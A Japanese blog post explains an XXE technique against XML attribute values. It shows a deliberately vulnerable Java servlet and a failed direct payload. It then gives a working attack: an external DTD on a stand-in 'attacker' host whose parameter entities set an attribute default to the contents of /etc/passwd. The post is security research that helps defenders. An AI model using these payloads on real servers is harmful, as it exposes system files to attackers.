属性値のXXE攻撃

以前、属性値でのXXE（Xml eXternal Entity）攻撃を試したのですが、やり方がよく判りませんでした。

最近また試してみて、属性値での攻撃方法が判ったので日記に書いてみます。

Servletプログラム

以下のようなJava Servletプログラムをサーバに置きます。

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import org.w3c.dom.*;
import org.apache.xerces.parsers.*;
import org.xml.sax.*;

public class AttrTest1 extends HttpServlet {
  public void service(HttpServletRequest request,
                      HttpServletResponse response)
    throws ServletException, IOException {

    try {
      // リクエストBODYをParseする
      DOMParser parser = new DOMParser();
      parser.parse(new InputSource(request.getInputStream()));

      Document doc = parser.getDocument();
      // data1要素を取り出す
      Element data1 = (Element)doc.getElementsByTagName("data1").item(0);
      // data1要素のattr1属性の値を取り出す
      String attr1 = data1.getAttribute("attr1");

      // attr1属性値を出力する
      response.setContentType("text/plain; charset=UTF-8");
      PrintWriter out = response.getWriter();
      out.println("attr1 value: " + attr1);
    }
    catch (Exception e) {
      throw new RuntimeException(e);
    }
  }
}

プログラム内のコメントの通り、リクエストのBODYをParseして、data1要素のattr1属性値を取り出して、その値をレスポンスします。

このプログラムは、以下のような入力・出力処理を行います。

【入力】<data1 attr1="111&gt;222"></data1>

【出力】attr1 value: 111>222

ダメな攻撃方法

すぐに思いつくのは、下のようなXMLを食わせる攻撃です。

<?xml version="1.0"?>
<!DOCTYPE data1 [
<!ENTITY pass SYSTEM "file:///etc/passwd">
]>
<data1 attr1="&pass;"></data1>

しかし、これだとParseエラーとなってうまくいきません。どうも、属性値内では外部実体参照は使えないようです。

XMLの仕様書の「3.1 Start-Tags, End-Tags, and Empty-Element Tags」にも以下のような記述がありました。

Well-formedness constraint: No External Entity References

Attribute values MUST NOT contain direct or indirect entity references to external entities.

Extensible Markup Language (XML) 1.0 (Fifth Edition)]

属性のデフォルト値を使う

じゃあどうすればいいんだという話です。

以前の日記（XMLをParseするアプリのセキュリティ（補足編）- T.Teradaの日記）で使った手法と似ていますが、パラメータ実体を使って属性のデフォルト値を細工するとうまくいきます。

まず、以下のような外部DTD（test1.dtd）を、攻撃者のサーバ上に用意します。

<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ATTLIST data1 attr1 CDATA '%p1;'>">
%p2;

1行目でパラメータ実体（%p1;）を定義します。「%p1;」は、攻撃対象サーバ上の/etc/passwdファイルの中身を参照します。次の行では、data1要素のattr1属性のデフォルト値を「%p1;」（つまり/etc/passwdの中身）だと定義するためのパラメータ実体（%p2;）を用意します。最後の行で「%p2;」を展開して、「%p2;」の中身をDTDとして評価させます。

攻撃対象のServletプログラムには、下のXMLを食わせます。

<?xml version="1.0"?>
<!DOCTYPE data1 SYSTEM "http://attacker/test1.dtd" >
<data1 />

外部DTD（test1.dtd）により、data1要素のattr1属性が指定されない場合のデフォルト値は/etc/passwdファイルの中身になるため、属性値を省略したXMLを食わせると攻撃対象サーバ上の/etc/passwdの中身が返ってきます*1。

＃ただまあこの方法が使えることは滅多にないと思いますが…

*1:返ってくるとき、ファイルの中身に含まれる改行文字はスペースに正規化された状態になっています。